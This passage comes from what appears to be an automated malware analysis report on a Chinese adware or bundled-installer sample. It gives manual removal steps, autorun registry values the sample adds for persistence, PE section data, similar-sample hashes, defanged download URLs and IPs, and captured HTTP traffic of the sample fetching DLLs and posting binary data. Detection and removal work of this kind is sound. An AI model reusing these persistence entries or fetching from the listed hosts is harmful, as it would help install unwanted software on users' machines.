   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\lib[2].js (2 bytes)
   %Documents and Settings%\%current user%\UserData\2Z89WTQV\www.fengyunzhibo[1].xml (266 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\atrk[2].js (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\1pc[1].png (95 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\snapshot-game[3].jpg (42 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[1].txt (1758 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[1].txt (892 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\snapshot-game[5].jpg (2336 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\hyyy_ban[1].png (38404 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\cover_bk[1].png (68 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\CAEJCPMJ.gif (43 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\artsicon_s[1].png (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\system[1].js (1561 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@tv.aiqingzhihui[1].txt (257 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3CLEEH4\banner_bk[1].png (2878 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KKHHXWR3\modernizr.custom.72764[1].js (76 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\36IOCH3Y\snapshot-game[2].jpg (3371 bytes)

5. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
   "wextract_cleanup0" = "rundll32.exe %System%\advpack.dll,DelNodeRunDLL32 C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\IXP000.TMP\"
   
   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "yyfm0529_2014081705" = "%Program Files%\yyfm0529\2014081705\yymusic05.exe -mini"
   
   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "yyfm0529_News_2014081705" = "%Program Files%\yyfm0529\2014081705\YFMSever.exe -mini"
   
   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "BaiduAnTray" = "%Program Files%\Baidu\BaiduAn\2.3.0.2225\BaiduAnTray.exe -stmd=3"

6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
7. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name: ${PRODUCT_NAME}
Product Version: 2014.07.27.150521
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: English (United States)

Company Name: Product Name: ${PRODUCT_NAME}Product Version: 2014.07.27.150521Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Comments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23488	23552	4.48909	7ebfade271f75cb4c180603ab653af42
.rdata	28672	4496	4608	3.59139	9d6e96915262c9d1129a16fa0b02a19a
.data	36864	110456	1024	3.27356	dbf10679c897d0edeee280fffdad552f
.ndata	147456	40960	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	188416	85928	86016	2.16541	7a3cef6cadf59571c6209964d6cb3669

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 22
368df8ed3d7141cc7ceffb26a2220d74
b7689ef7d3c4763c76a43221bfc6d0b9
c81fd7ef721e6c7a1f0203dde813d244
6ca00e4606c195020cd39b59358b36a4
3b0128153a6b94307ca762112e1439d2
e77107291973bca380acd284c9b0a503
da49e83d0dd978c365612224ee558f21
36ff06cf8a6a849d240584b5af5f02ed
d1439abfdf73e0edf0811ffa74e4fd49
d217ec6e342146f4a002f71f34db95c3
71492741cbef0abc94944bcf6cb49aab
65254cf883d5964ce96d5b8633c76ffd
0eca26def7e361c36194aca94c4e5dd3
54287af5e0e8a6efda423312017ce223
30a86dc2c4792eacd946e46e1960bc89
ca824e896166c1da44e2ee134cd552d0
cd8831c8413def45cac4b8e146b4f8d2
959aa7b2a0ed301db047fb37268d62f0
3c67cf4665617d0c117061f12e31c456
a94bdb6aac01bffc342c236c4734941d
91b87c94c11a3b03dc3202f2e8ce5ff8
644a849240ab75128e2cf0985ec99585

Network Activity

URLs

URL	IP
hxxp://yunbo.luopf.cn/app.txt	61.160.251.6
hxxp://yunbo.luopf.cn/guagua_77150006814.zip	61.160.251.6
hxxp://pxsw.n.shifen.com/
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllw5/BDLogicUtils.dll
hxxp://swdownload.jomodns.com/sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllv5/BDMReport.dll
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/BDMReport.dll
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllv3/BDMReport.dll
hxxp://swdownload.jomodns.com/sw-search-shadu/client/dllv3/BDMReport.dll
hxxp://swdownload.jomodns.com/sw-search-sp/client2/common/patch/19035267599/BDMReport.dll
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllws/BDMNet.dll
hxxp://yunbo.luopf.cn/pczh_107_306.zip	61.160.251.6
hxxp://sxsw.n.shifen.com/
hxxp://admin.downloader.re63.cn/downcontainer/downLoadList.do	122.226.104.80
hxxp://admin.downloader.re63.cn/downcontainer/downLoadForGuaGua.do?recid=77150006814	122.226.104.80
hxxp://swdownload.jomodns.com/sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll
hxxp://img001.com/tg_pic/1.png	36.250.9.8
hxxp://admin.downloader.re63.cn/downloader/start?dlver=G1.0.0&pname=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid=	122.226.104.80
hxxp://img001.com/tg_pic/2.png	36.250.9.8
hxxp://img001.com/tg_pic/3.png	36.250.9.8
hxxp://img001.com/tg_pic/4.png	36.250.9.8
hxxp://img001.com/tg_pic/5.png	36.250.9.8
hxxp://img001.com/tg_pic/mobo14-1-9.png	36.250.9.8
hxxp://yunbo.luopf.cn/wwwww_3340.zip	61.160.251.6
hxxp://c01.i06.arnic.hadns.net/0403/help1.html
hxxp://c01.i06.arnic.hadns.net/zhibo2.html?id=pczh_107_306.exe&en=2014-8-17&go=
hxxp://sxcdn.kukuplay.com/support/mini/fyminiloader-min.js
hxxp://c.split.cnzz.com/stat.php?id=2701879&web_id=2701879
hxxp://dft.nc.fengyunzhibo.com/mini/fymini.htm?f=aiqingzhihui&code=null
hxxp://c.split.cnzz.com/core.php?web_id=2701879&t=z
hxxp://z10.cnzz.com/stat.htm?id=2701879&r=&lg=en-us&ntime=none&cnzz_eid=1584515375-1408242084-&showp=1276x846&t=&h=1&rnd=1072095621
hxxp://pcookie.split.cnzz.com/9.gif?abc=1&rnd=135011660
hxxp://dft.nc.fengyunzhibo.com/
hxxp://pcookie.split.cnzz.com/app.gif?&cna=pv92DG xUBsCAcGK9OdTDULL
hxxp://static.m0dlcdn.kukuplay.com/support/mini/fyminiloader-min.js	183.203.15.245
hxxp://dlsw.baidu.com/sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll	180.76.22.47
hxxp://dlsw.baidu.com/sw-search-sp/client2/common/patch/19035267599/BDMReport.dll	180.76.22.47
hxxp://p.x.baidu.com/	123.125.65.152
hxxp://c.cnzz.com/core.php?web_id=2701879&t=z	42.120.219.6
hxxp://dl1sw.baidu.com/client/dllws/BDMNet.dll	8.37.234.10
hxxp://dlsw.baidu.com/sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll	180.76.22.47
hxxp://dl1sw.baidu.com/client/dllv5/BDMReport.dll	8.37.234.10
hxxp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-17&go=	222.186.20.122
hxxp://dl1sw.baidu.com/client/dllw5/BDLogicUtils.dll	8.37.234.10
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=135011660	42.120.219.171
hxxp://dl1sw.baidu.com/client/BDMReport.dll	8.37.234.10
hxxp://s.x.baidu.com/	180.76.2.46
hxxp://dlsw.baidu.com/sw-search-shadu/client/dllv3/BDMReport.dll	180.76.22.47
hxxp://update.aiqingzhihui.com/0403/help1.html	218.76.217.140
hxxp://s6.cnzz.com/stat.php?id=2701879&web_id=2701879	1.99.192.15
hxxp://cj.guagua.cn/downloader/start?dlver=G1.0.0&pname=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid=	122.226.104.80
hxxp://hzs17.cnzz.com/stat.htm?id=2701879&r=&lg=en-us&ntime=none&cnzz_eid=1584515375-1408242084-&showp=1276x846&t=&h=1&rnd=1072095621	42.156.140.23
hxxp://mini.fengyunzhibo.com/mini/fymini.htm?f=aiqingzhihui&code=null	1.99.192.17
hxxp://dl1sw.baidu.com/client/dllv3/BDMReport.dll	8.37.234.10
dtrp.download.iyuntian.com	123.125.65.150
pcookie.cnzz.com	42.120.219.171
www.fengyunzhibo.com	115.231.18.11
jp.download.iyuntian.com	123.125.65.154
cfg.download.iyuntian.com	123.125.65.132
res.download.iyuntian.com	123.125.65.129
tk.download.iyuntian.com	123.125.69.209
rc.download.iyuntian.com	123.125.65.153
utk.download.iyuntian.com	123.125.65.147

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=20316160-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:58 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 5688144<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127219<br>

Content-Range: bytes 20316160-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=983040-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>

Date: Mon, 28 Jul 2014 23:18:00 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 983040-1178447/1178448<br>

Content-Length: 195408<br>

Age: 1652554<br>

Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/common/patch/19035267599/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=1146880-<br>

Referer: hXXp://xf.baidu.com<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:32 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 60640<br>

Connection: close<br>

ETag: 30cbc602ada7cdfb0346038c05996d84<br>

Last-Modified: Wed, 30 Apr 2014 05:22:28 GMT<br>

Expires: Mon, 18 Aug 2014 14:59:38 GMT<br>

Age: 127254<br>

Content-Range: bytes 1146880-1207519/1207520<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DC8389F18378C004A7004B30F60323AD<br>

x-bs-request-id: MTAuNTcuMTIyLjM1OjgwODA6MjM1OTEyNDY2MzoyOC9KdWwvMjAxNCAyMjo1OTowNiA=<br>

x-bs-meta-crc32: 2965621797<br>

Content-MD5: 30cbc602ada7cdfb0346038c05996d84<br>

x-bs-client-ip: MTgwLjc2LjIyLjE3Mg==<br><pre>......................................................................<br>......................................................................<br>..........................................abcdefghijklmnopqrstuvwxyz..<br>....ABCDEFGHIJKLMNOPQRSTUVWXYZ........................................<br>......................................................................<br>......................................................................<br>...................................................... <br> .....................</pre></font><br><br

<font color="red">POST / HTTP/1.1<br>

Connection: Keep-Alive<br>

Content-Length: 68<br>

Content-Type: application/octet-stream<br>

Host: s.x.baidu.com<br>

Keep-Alive: timeout=600,max=1000<br>

<br>

...8........" 228f74ad8138cf3f6e758ac75971083b(.2.8.@.H.P.X.` ......</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: iYuntianSvr<br>

Content-Type: application/octet-stream<br>

Keep-Alive: timeout=30<br>

Connection: Keep-Alive<br>

Content-Length: 124<br><pre>...p........" 228f74ad8138cf3f6e758ac75971083b(.28.G.k...v $(F.Cj...:.<br>...59......\....3V.%..5..2.c..`.E=~.8.@.H.P.X.` ........</pre></font><br><br

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=20578304-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:21:03 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 5426000<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127224<br>

Content-Range: bytes 20578304-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 200 OK<br>

Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>

Date: Mon, 28 Jul 2014 23:18:00 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Content-Length: 1178448<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Age: 1652553<br>

Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">POST / HTTP/1.1<br>

Connection: Keep-Alive<br>

Content-Length: 77<br>

Content-Type: application/octet-stream<br>

Host: p.x.baidu.com<br>

Keep-Alive: timeout=600,max=1000<br>

<br>

...A........." 228f74ad8138cf3f6e758ac75971083b(.........2.8.@.H.P.X.` ......</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: iYuntianSvr<br>

Content-Type: application/octet-stream<br>

Keep-Alive: timeout=30<br>

Connection: Keep-Alive<br>

Content-Length: 133<br><pre>...y........." 228f74ad8138cf3f6e758ac75971083b(.........28.YxY..b`...<br>Ty..O..8T..6&...l.. ..l.......&.{.$...6....~E8.@.H.P.X.` ......</font><br>....</pre></font><br><br><font color="red">POST / HTTP/1.1<br>

Connection: Keep-Alive<br>

Content-Length: 157<br>

Content-Type: application/octet-stream<br>

Host: p.x.baidu.com<br>

Keep-Alive: timeout=600,max=1000<br>

<br>

...y........." 228f74ad8138cf3f6e758ac75971083b(.........28.YxY..b`...Ty..O..8T..6&...l.. ..l.......&.{.$...6....~E8.@.H.P.X.` ......t&......E.P...`.`k}.....</font><br><font color="blue">HTTP/1.1 200 OK<br>

Server: iYuntianSvr<br>

Content-Type: application/octet-stream<br>

Keep-Alive: timeout=30<br>

Connection: Keep-Alive<br>

Content-Length: 941<br><pre>...y........." 228f74ad8138cf3f6e758ac75971083b(.........28.YxY..b`...<br>Ty..O..8T..6&...l.. ..l.......&.{.$...6....~E8.@.H.P.X.` ...(...1}....<br>.z.l0.....~.T.@1.M..v...d.J.z.[8..!..R~p|...k...H...;.g...i..E........<br>.y.~o.Fj...(...~z......h>.V.].$w..J...tN5....s........k..0/..<./<br>.%......wflP.........}.c.9.9../\."/......t..D.9.iX.3M.9..@E[}Kw.7....G<br>S......y...x..].4,.......W._.?....3f)...v D.y;.......c._!9...Q.&..l...<br>.zQ....b.c.s-q.....a ..w.T...O.M7[Xj'{G.......1cm;........,-..8@\...7.<br>.nXr?8.z..%j...=/.Z[..u.z......\U.[R..........57.9...0.$....A.!.3..T..<br>..J=..T.y...)F...O.....{....#3}...\..[.T6......< ...&,..6:....{j..1<br>.....N..4.G..qM...Pm..Q.C.......D...]wP.'s..zq!..{....O,@h2...."...T.d<br>....G[..).,..F.5...<.}.yA...-S........@p..<*W.a5u..<B_.1f*...<br>..j....@...j.1(...................=......*/.d..;...atDe.7.[..9...Y.$.P<br>K`..G..S..U....Tp...:...J..DG.r...F.\S...fz)..1..2....'.]....u........<br>........AT.;.*......T\......2...=)....A......z.....</pre></font><br><br

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=950272-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:24 GMT<br>

Date: Sun, 10 Aug 2014 15:52:24 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 950272-1178447/1178448<br>

Content-Length: 228176<br>

Age: 556091<br>

Via: 1.0 sdytwt89:8104 (Cdn Cache Server V2.0), 1.0 tswt88:8080 (Cdn Cache Server V2.0), 1.0 jg11:51020 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS,HEAD<br><pre></pre></font><br><br

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=23199744-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:21:25 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 2804560<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127246<br>

Content-Range: bytes 23199744-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/dllv5/BDMReport.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=851968-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Tue, 09 Sep 2014 15:52:41 GMT<br>

Date: Sun, 10 Aug 2014 15:52:41 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Wed, 30 Apr 2014 05:24:32 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 851968-1207519/1207520<br>

Content-Length: 355552<br>

Age: 556070<br>

Via: 1.0 sdytwt85:88 (Cdn Cache Server V2.0), 1.0 tswt79:80 (Cdn Cache Server V2.0), 1.0 shiben14:10001 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMReport.dll"<br>

Access-Control-Allow-Origin: *<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=22413312-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:21:20 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 3590992<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127241<br>

Content-Range: bytes 22413312-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dlsw.baidu.com<br>

Range: bytes=19529728-<br>

Referer: hXXp://dlsw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>

Server: JSP3/2.0.0-b<br>

Date: Sun, 17 Aug 2014 02:20:41 GMT<br>

Content-Type: application/x-msdownload<br>

Content-Length: 6474576<br>

Connection: close<br>

ETag: c7062e404128917808756500d58121ee<br>

Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>

Expires: Mon, 18 Aug 2014 15:00:39 GMT<br>

Age: 127202<br>

Content-Range: bytes 19529728-26004303/26004304<br>

Access-Control-Allow-Origin: *<br>

Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>

Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>

Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>

Accept-Ranges: bytes<br>

x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>

x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>

x-bs-meta-crc32: 2839405489<br>

Content-MD5: c7062e404128917808756500d58121ee<br>

<<< skipped >>>

<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>

Accept: */*<br>

Accept-Language: zh-CN,zh,en-US<br>

Connection: Keep-Alive<br>

Host: dl1sw.baidu.com<br>

Range: bytes=950272-<br>

Referer: hXXp://dl1sw.baidu.com/<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>

<br>

</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>

Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>

Date: Mon, 28 Jul 2014 23:18:00 GMT<br>

Server: nginx<br>

Content-Type: application/octet-stream<br>

Last-Modified: Thu, 10 Apr 2014 08:10:19 GMT<br>

Cache-Control: max-age=2592000<br>

Accept-Ranges: bytes<br>

Content-Range: bytes 950272-1178447/1178448<br>

Content-Length: 228176<br>

Age: 1652555<br>

Via: 1.0 wzpy201:80 (Cdn Cache Server V2.0), 1.0 shiben9:8888 (Cdn Cache Server V2.0)<br>

Connection: close<br>

Content-Disposition: attachment;filename="BDMNet.dll"<br>

Access-Control-Allow-Origin: *<br>

